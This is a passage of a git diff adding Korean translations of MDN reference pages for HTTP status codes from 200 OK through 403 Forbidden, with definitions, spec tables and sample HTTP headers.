+   <td>{{RFC(8297, "103 Early Hints")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.status.103")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Link")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/200/index.html b/files/ko/web/http/status/200/index.html
new file mode 100644
index 0000000000..ca5b6fe0ef
--- /dev/null
+++ b/files/ko/web/http/status/200/index.html
@@ -0,0 +1,54 @@
+---
+title: 200 OK
+slug: Web/HTTP/Status/200
+tags:
+  - HTTP
+  - Status code
+  - Success
+translation_of: Web/HTTP/Status/200
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HTTP <strong><code>200 OK</code></strong>는 요청이 성공했음을 나타내는 성공 응답 상태 코드입니다.</span> 기본값에서 200 응답은 캐시에 저장할 수 있습니다.</p>
+
+<p>성공의 정의는 다음과 같이 HTTP 요청 메서드에 따라 나뉩니다.</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}: 리소스를 가져왔고 메시지 바디에 전송되었다.</li>
+ <li>{{HTTPMethod("HEAD")}}: 개체 헤더가 메시지 바디에 있다.</li>
+ <li>{{HTTPMethod("POST")}}: 리소스가 명시하는 행동의 결과가 메시지 바디에 전송되었다.</li>
+ <li>{{HTTPMethod("TRACE")}}: 서버가 요청받은 메시지가 메시지 바디에 포함되어있다.</li>
+</ul>
+
+<p>{{HTTPMethod("PUT")}} 또는 {{HTTPMethod("DELETE")}}의 성공 결과는 종종 <code>200 OK</code>가 아니라 {{HTTPStatus("204", "204 No Content")}} (리소스를 새로 생성한 경우 {{HTTPStatus("201", "201 Created")}}) 입니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">200 OK</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.200")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></li>
+</ul>
diff --git a/files/ko/web/http/status/201/index.html b/files/ko/web/http/status/201/index.html
new file mode 100644
index 0000000000..32342eb67c
--- /dev/null
+++ b/files/ko/web/http/status/201/index.html
@@ -0,0 +1,48 @@
+---
+title: 201 Created
+slug: Web/HTTP/Status/201
+tags:
+  - HTTP
+  - Reference
+  - Status code
+  - Success
+translation_of: Web/HTTP/Status/201
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HTTP <strong><code>201 Created</code></strong>는 요청이 성공적으로 처리되었으며, 자원이 생성되었음을 나타내는 성공 상태 응답 코드입니다.</span> 해당 HTTP 요청에 대해 회신되기 이전에 정상적으로 생성된 자원은 회신 메시지의 본문(body)에 동봉되고, 구체적으로는 요청 메시지의 URL이나, {{HTTPHeader("Location")}} 헤더의 내용에 위치하게 됩니다.</p>
+
+<p>이 상태코드(status code)는 일반적으로 {{HTTPMethod("POST")}} 요청(request)에 대한 응답결과(result)로써 사용합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox notranslate">201 Created</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.201")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/ko/web/http/status/202/index.html b/files/ko/web/http/status/202/index.html
new file mode 100644
index 0000000000..5f92fc40d7
--- /dev/null
+++ b/files/ko/web/http/status/202/index.html
@@ -0,0 +1,39 @@
+---
+title: 202 Accepted
+slug: Web/HTTP/Status/202
+tags:
+  - HTTP
+  - Reference
+  - Status code
+translation_of: Web/HTTP/Status/202
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>202 Accepted</strong></code> 는 요청이 성공적으로 접수되었으나, 아직 해당 요청에 대해 처리 중이거나 처리 시작 전임을 의미합니다. 요청이 처리 중 실패할 수도 있기 때문에 요청은 실행될 수도 실행되지 않을수도 있습니다.</p>
+
+<p>이 상태 코드는는 비확약적, 즉 HTTP가 나중에 요청 처리 결과를 나타내는 비동기 응답을 보낼 방법이 없다는 것을 의미합니다. 이는 다른 프로세스나 서버가 요청을 처리하는 경우 또는 일괄 처리를 위한 것입니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox notranslate">202 Accepted</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/204/index.html b/files/ko/web/http/status/204/index.html
new file mode 100644
index 0000000000..fe1333f80e
--- /dev/null
+++ b/files/ko/web/http/status/204/index.html
@@ -0,0 +1,54 @@
+---
+title: 204 No Content
+slug: Web/HTTP/Status/204
+tags:
+  - HTTP
+  - Reference
+  - Status code
+  - Success
+translation_of: Web/HTTP/Status/204
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HTTP <strong><code>204 No Content</code></strong> 성공 상태 응답 코드는 요청이 성공했으나 클라이언트가 현재 페이지에서 벗어나지 않아도 된다는 것을 나타냅니다.</span> 기본값에서 204 응답은 캐시에 저장할 수 있습니다. 캐시에서 가져온 응답인 경우 {{HTTPHeader("ETag")}} 헤더를 포함합니다.</p>
+
+<p>흔히 <code>204</code>를 반환하는 경우는 {{HTTPMethod("PUT")}} 요청에 대한 응답으로, 사용자에게 보여지는 페이지를 바꾸지 않고 리소스를 업데이트할 때 쓰입니다. 리소스를 생성한 경우엔 {{HTTPStatus("201")}} <code>Created</code>를 대신 반환합니다. 새롭게 업데이트한 페이지를 보여줘야 할 경우 {{HTTPStatus("200")}}을 사용해야 합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">204 No Content</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.204")}}</p>
+
+<h2 id="호환성_참고사항">호환성 참고사항</h2>
+
+<ul>
+ <li><code>204 No Content</code>는 본문 없는 응답을 위한 상태 코드이지만, 서버에서 잘못되게 본문을 포함한 응답을 전달하는 경우가 존재할 수 있습니다. HTTP는 이런 경우를 사용자 에이전트 자의적으로, 서로 다르게 처리하는 것을 허용하고 있습니다. <a href="https://github.com/httpwg/http-core/issues/26">이에 대한 토론은 여기서 확인할 수 있습니다.</a> 보통 지속 연결에서 볼 수 있는 문제로, 잘못 포함된 본문이 이후 요청에 대한 별도의 응답을 담고 있을 수 있습니다.<br>
+  <br>
+  Apple Safari는 잘못 포함된 모든 데이터를 거부합니다. Google Chrome과 Microsoft Edge는 잘못된 데이터의 최대 4바이트를 검사한 후, 유효한 별도의 요청을 찾지 못한 경우 폐기합니다. Firefox는 최대 1킬로바이트를 검사합니다.</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></li>
+</ul>
diff --git a/files/ko/web/http/status/205/index.html b/files/ko/web/http/status/205/index.html
new file mode 100644
index 0000000000..0e846f71e0
--- /dev/null
+++ b/files/ko/web/http/status/205/index.html
@@ -0,0 +1,39 @@
+---
+title: 205 Reset Content
+slug: Web/HTTP/Status/205
+translation_of: Web/HTTP/Status/205
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP의 <strong><code>205 Reset Content</code></strong> 응답상태는 form의 내용을 지우거나 캔버스 상태를 재설정하거나 UI를 새로 고치려면 client의 문서뷰를 새로고침하라고 알려준다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">205 Reset Content</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<ul>
+ <li>Browser behavior differs if this response erroneously includes a body on persistent connections See <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> for more detail.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus(204)}} No Content</li>
+</ul>
diff --git a/files/ko/web/http/status/206/index.html b/files/ko/web/http/status/206/index.html
new file mode 100644
index 0000000000..78bdce43ae
--- /dev/null
+++ b/files/ko/web/http/status/206/index.html
@@ -0,0 +1,85 @@
+---
+title: 206 Partial Content
+slug: Web/HTTP/Status/206
+tags:
+  - HTTP
+  - HTTP Status
+  - Range Requests
+  - Success
+  - 성공
+translation_of: Web/HTTP/Status/206
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>206 Partial Content</code></strong>는 {{HTTPHeader("Range")}} 헤더에 기술된 데이터 범위에 대한 요청이 성공적으로 응답되어 바디에 해당되는 데이터를 담고 있다는 것을 알려줍니다.</p>
+
+<p>만약 단일 범위 요청을 한 경우에는 응답에 포함된 데이터의 타입은 {{HTTPHeader("Content-Type")}}이며, {{HTTPHeader("Content-Range")}}가 제공될 것입니다.</p>
+
+<p>만약 다중 범위 요청에 대한 응답이라면, {{HTTPHeader("Content-Type")}}는 <code>multipart/byteranges</code>로 되며 분할된 데이터의 응답은 {{HTTPHeader("Content-Range")}} 와 {{HTTPHeader("Content-Type")}}로 각각의 범위를 기술합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">206 Partial Content</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>응답이 단일 범위를 가지고 있는 경우:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...</pre>
+
+<p>응답이 여러 범위를 가지고 있는 경우:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...the first range...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...the second range
+--String_separator--</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.206")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/301/index.html b/files/ko/web/http/status/301/index.html
new file mode 100644
index 0000000000..8f930ff981
--- /dev/null
+++ b/files/ko/web/http/status/301/index.html
@@ -0,0 +1,54 @@
+---
+title: 301 Moved Permanently
+slug: Web/HTTP/Status/301
+translation_of: Web/HTTP/Status/301
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>301 Moved Permanently</strong></code> 리다이렉트 상태 응답 코드는 요청한 리소스가 {{HTTPHeader("Location")}} 헤더에 주어진 URL로 완전히 옮겨졌다는 것을 나타낸다. 브라우저는 이 페이지로 리다이렉트하고, 검색 엔진은 해당 리소스로 연결되는 링크를 갱신한다[검색엔진 최적화의 관점에서는 '원 콘텐츠가 새로운 URL로 옮겨졌다'(the link-juice is sent to the new URL)고 한다].</p>
+
+<p>명세에서는 리다이렉트를 수행할 때 메소드(와 응답 본문)이 바뀌어서는 안 된다고 명시하고 있지만, 모든 유저 에이전트가 이를 따르는 것은 아니며 이러한 잘못된 소프트웨어는 아직도 찾아볼 수 있다. 그러므로 <code>301</code> 코드는 {{HTTPMethod("GET")}}과 {{HTTPMethod("HEAD")}} 메소드의 응답으로만 사용하고, {{HTTPMethod("POST")}} 메소드에 대해서는 메소드 변경이 명시적으로 금지된 {{HTTPStatus("308")}} <code>Permanent Redirect</code>를 사용하는 것이 바람직하다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">301 Moved Permanently</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="클라이언트_요청">클라이언트 요청</h3>
+
+<pre>GET /index.php HTTP/1.1
+Host: www.example.org</pre>
+
+<h3 id="서버_응답">서버 응답</h3>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Location: http://www.example.org/index.asp</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조적인 데이터로부터 생성되었습니다. 데이터에 기여하고자 하시면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 참조하셔서 pull request를 보내주시기 바랍니다.</p>
+
+<p>{{Compat("http.status.301")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, 임시 리다이렉트</li>
+</ul>
diff --git a/files/ko/web/http/status/302/index.html b/files/ko/web/http/status/302/index.html
new file mode 100644
index 0000000000..b7b5a41402
--- /dev/null
+++ b/files/ko/web/http/status/302/index.html
@@ -0,0 +1,54 @@
+---
+title: 302 Found
+slug: Web/HTTP/Status/302
+tags:
+  - HTTP
+  - HTTP 상태 코드
+  - 레퍼런스
+  - 리다이렉트
+translation_of: Web/HTTP/Status/302
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>하이퍼텍스트 전송 프로토콜 (HTTP)의 302 Found 리다이렉트 상태 응답 코드는 클라이언트가 요청한 리소스가 {{HTTPHeader("Location")}} 헤더에 주어진 URL에 일시적으로 이동되었음을 가리킨다. 브라우저는 사용자를 이 URL의 페이지로 리다이렉트시키지만 검색 엔진은 그 리소스가 일시적으로 이동되었다고 해서 그에 대한 링크를 갱신하지는 않는다 ('SEO 관점' 에서 말하자면, 링크 주스(Link Juice)가 새로운 URL로 보내지지는 않는다).</p>
+
+<div>명세는 리다이렉션이 수행되었을 때 메서드 (그리고 몸체) 가 변경되어서는 안된다고 명시했지만, 모든 사용자 에이전트들이 이를 따르는 것은 아니다 - 이러한 종류의 버그가 있는 소프트웨어를 쉽게 찾아볼 수도 있다. 따라서, 리다이렉트할 때에도 메서드 변경이 되지 않는 {{HTTPStatus("307", "307 Temporary Redirect")}} 을 대신 사용하고고 {{HTTPMethod("GET")}} 또는 {{HTTPMethod("HEAD")}} 요청에 대한 응답으로는 <code>302</code> 코드를 설정하는 것이 권장된다.</div>
+
+<div></div>
+
+<div>메서드가 {{HTTPMethod("GET")}} 으로 변경되도록 하고 싶은 경우에는, {{HTTPStatus("303", "303 See Other")}} 를 대신 사용하라. 이 응답 코드는 {{HTTPMethod("PUT")}} 을 통해 리소스를 업로드하고 나서 업로드된 리소스 대신 '성공적으로 XYZ'를 업로드했습니다' 와 같은 메시지를 보여주는 응답을 할 때 유용하다.</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">302 Found</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.status.302")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, the equivalent of this status code where the method used never changes.</li>
+ <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301", "301 Moved Permanently")}}, the permanent redirect.</li>
+</ul>
diff --git a/files/ko/web/http/status/304/index.html b/files/ko/web/http/status/304/index.html
new file mode 100644
index 0000000000..9c7f8308b1
--- /dev/null
+++ b/files/ko/web/http/status/304/index.html
@@ -0,0 +1,63 @@
+---
+title: 304 Not Modified
+slug: Web/HTTP/Status/304
+tags:
+  - HTTP
+  - Redirection
+  - Reference
+  - Status code
+  - contents verification
+translation_of: Web/HTTP/Status/304
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>
+<div class="edit_area___2iv-G" id="targetEditArea">
+<div class="edit_box___1KtZ3 active___3VPGL font_step2___3vt9-" id="txtTarget"><span>클라이언트 리디렉션 응답 코드 </span><code><strong>304 Not Modified</strong></code><span>는 요청된 리소스를 재전송할 필요가 없음을 나타낸다. 캐시된 자원으로의 암묵적인 리디렉션이다. 이 는 </span>{{HTTPMethod("GET")}}<span>나 </span>{{HTTPMethod("HEAD")}}<span> 요청처럼 요청 방법이 </span> {{glossary("안전")}}<span>한 경우 또는 요청이 조건부로 </span>{{HTTPHeader("If-None-Match")}}<span> 또는 </span>{{HTTPHeader("If-Modified-Since")}}<span> 헤더를 사용할 때 응답 된다.</span><br>
+<br>
+이에 상응하는 {{HTTPStatus("200")}} <code>OK</code> 응답에는 {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, 그리고 {{HTTPHeader("Vary")}} 가 포함되어 있었을 것이다.<br>
+ </div>
+</div>
+</div>
+
+<div class="note">
+<p><a href="/en-US/docs/Tools/Network_Monitor">브라우저의 개발자도구 네트워크 패널</a>은 304 응답으로 이어지는 많은 요청을 생성하며, 로컬 캐시로 액세스 하는 것을 개발자에게 보여준다.</p>
+</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">304 Not Modified</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.304")}}</p>
+
+<h2 id="호환성_노트">호환성 노트</h2>
+
+<ul>
+ <li><span class="tlid-translation translation" lang="ko"><span title="">이 응답에 영구 연결의 본문이 잘못 포함되어 있으면 브라우저 동작이 다릅니다. 자세한 내용은 </span></span><a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a><span class="tlid-translation translation" lang="ko"><span title="">을(를) 참조하십시오.</span></span></li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/307/index.html b/files/ko/web/http/status/307/index.html
new file mode 100644
index 0000000000..085b24b02c
--- /dev/null
+++ b/files/ko/web/http/status/307/index.html
@@ -0,0 +1,48 @@
+---
+title: 307 Temporary Redirect
+slug: Web/HTTP/Status/307
+translation_of: Web/HTTP/Status/307
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>{{Glossary("HTTP")}} <code><strong>307 Temporary Redirect</strong></code> 리다이렉트 상태 응답 코드는 요청한 리소스가 {{HTTPHeader("Location")}} 헤더에 주어진 URL 로 임시로 옮겨졌다는 것을 나타냅니다.</p>
+
+<p>원래 요청한 메소드와 Body 를 재사용하여 요청을 리다이렉트 합니다. 여기서 메소드를 {{HTTPMethod("GET")}}으로 바꾸기 위해서 {{HTTPStatus("303", "303 See Other")}}를 사용하시면 됩니다. 이것은 {{HTTPMethod("PUT")}}요청에 업로드된 리소스가 아닌 "You successfully uploaded XYZ"와 같은 확인메시지 응답을 제공 하는데에 유용합니다.</p>
+
+<p><code>307</code>과 {{HTTPStatus("302")}}가 유일하게 다른점은 <code>307</code>은 Method 와 Body 를 변경하지 않고 리다이렉트 요청을 하도록 보장합니다. <code>302</code>응답으로 인하여 일부 오래된 클라이언트들은 메소드를 {{HTTPMethod("GET")}}으로 틀리게 변경하였습니다. GET이 아닌 다른 메소드에 <code>302</code>동작은 웹에서 예상되지 않지만 <code>307</code> 동작은 예상할수 있습니다. GET 요청에 대해서는 동일하게 동작 합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox notranslate">307 Temporary Redirect
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.status.307")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("302", "302 Found")}}, the equivalent of this status code, but that may change the method used when it is not a {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301", "301 Moved Permanently")}}, a permanent redirect</li>
+</ul>
diff --git a/files/ko/web/http/status/400/index.html b/files/ko/web/http/status/400/index.html
new file mode 100644
index 0000000000..908113b5ae
--- /dev/null
+++ b/files/ko/web/http/status/400/index.html
@@ -0,0 +1,36 @@
+---
+title: 400 Bad Request
+slug: Web/HTTP/Status/400
+tags:
+  - HTTP 상태 코드
+  - 상태 코드
+translation_of: Web/HTTP/Status/400
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HyperText Transfer Protocol (HTTP) <code><strong>400 Bad Request</strong></code> 응답 상태 코드는 서버가 클라이언트 오류(예: 잘못된 요청 구문, 유효하지 않은 요청 메시지 프레이밍, 또는 변조된 요청 라우팅) 를 감지해 요청을 처리할 수 없거나, 하지 않는다는 것을 의미합니다.</p>
+
+<div class="warning">
+<p>클라이언트는 요청을 수정하지 않고 동일한 형태로 다시 보내서는 안됩니다.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">400 Bad Request </pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/http/status/401/index.html b/files/ko/web/http/status/401/index.html
new file mode 100644
index 0000000000..9a36c58228
--- /dev/null
+++ b/files/ko/web/http/status/401/index.html
@@ -0,0 +1,60 @@
+---
+title: 401 Unauthorized
+slug: Web/HTTP/Status/401
+tags:
+  - Client error
+  - HTTP
+  - Reference
+  - Status code
+  - 클라이언트 오류
+translation_of: Web/HTTP/Status/401
+---
+<div>{{HTTPSidebar}}</div>
+
+<div><strong><code>401 Unauthorized</code></strong> 클라이언트 오류 상태 응답 코드는 해당 리소스에 유효한 인증 자격 증명이 없기 때문에 요청이 적용되지 않았음을 나타냅니다.<br>
+<br>
+이 상태는 {{HTTPHeader("WWW-Authenticate")}} 헤더와 함께 전송되며, 이 헤더는 올바르게 인증하는 방법에 대한 정보를 포함하고 있습니다.<br>
+<br>
+이 상태는 {{HTTPStatus("403")}}과 비슷하지만, <code>401 Unauthorized</code>의 경우에는 인증이 가능합니다.</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">401 Unauthorized</pre>
+
+<h2 id="응답_예시">응답 예시</h2>
+
+<pre>HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.401")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Authentication">HTTP 인증</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/403/index.html b/files/ko/web/http/status/403/index.html
new file mode 100644
index 0000000000..012e13e3b7
--- /dev/null
+++ b/files/ko/web/http/status/403/index.html
@@ -0,0 +1,49 @@
+---
+title: 403 Forbidden
+slug: Web/HTTP/Status/403
+tags:
+  - 상태 코드
+translation_of: Web/HTTP/Status/403
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>HTTP <code><strong>403 Forbidden</strong></code> 클라이언트 오류 상태 응답 코드는 서버에 요청이 전달되었지만, 권한 때문에 거절되었다는 것을 의미합니다.<br>
+<br>
+이 상태는 {{HTTPStatus("401")}}과 비슷하지만, 로그인 로직(틀린 비밀번호로 로그인 행위)처럼 반응하여 재인증(re-authenticating)을 하더라도 지속적으로 접속을 거절합니다.</div>
+
